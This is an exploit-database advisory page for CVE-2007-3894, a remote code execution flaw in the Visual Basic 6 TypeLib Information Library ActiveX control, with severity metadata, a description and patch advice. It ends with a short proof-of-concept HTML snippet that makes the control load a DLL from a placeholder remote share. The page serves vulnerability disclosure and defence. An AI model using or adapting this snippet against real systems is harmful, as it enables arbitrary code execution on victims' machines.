Microsoft Visual Basic 6 TypeLib Information Library (TLI) ActiveX Control Remote Code Execution Vulnerability

vendor:

Microsoft Visual Basic

by:

Unknown

9.3

CVSS

CRITICAL

Remote Code Execution

119

CWE

Product Name: Microsoft Visual Basic

Affected Version From: Microsoft Visual Basic 6

Affected Version To: Microsoft Visual Basic 6

Patch Exists: YES

Related CWE: CVE-2007-3894

CPE: a:microsoft:visual_basic:6.0

Metasploit:

Other Scripts:

Platforms Tested: Windows

2007

Microsoft Visual Basic 6 TypeLib Information Library (TLI) ActiveX Control Remote Code Execution Vulnerability

The Microsoft Visual Basic 6 TypeLib Information Library (TLI) ActiveX control is prone to a remote code-execution vulnerability. An attacker may exploit this issue by enticing victims into opening a maliciously crafted HTML document. Successfully exploiting this issue allows remote attackers to execute arbitrary code in the context of the application using the ActiveX control (typically Internet Explorer). Failed exploit attempts will likely result in denial-of-service conditions.

Mitigation:

To mitigate this vulnerability, users should apply the latest updates provided by Microsoft.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/25289/info

The Microsoft Visual Basic 6 TypeLib Information Library (TLI) ActiveX control is prone to a remote code-execution vulnerability.

An attacker may exploit this issue by enticing victims into opening a maliciously crafted HTML document.

Successfully exploiting this issue allows remote attackers to execute arbitrary code in the context of the application using the ActiveX control (typically Internet Explorer). Failed exploit attempts will likely result in denial-of-service conditions. 

<object width=1000 height=20 classid="CLSID:<CLASSID>"
name=test></object>
x= test.TypeLibInfoFromFile("\\\\IPADDRESS\\SHARE\\remote.dll")
' Call the remote DLLGetDocumentation function
alert(x.Interfaces.Item(a).Members.Item(b).HelpString)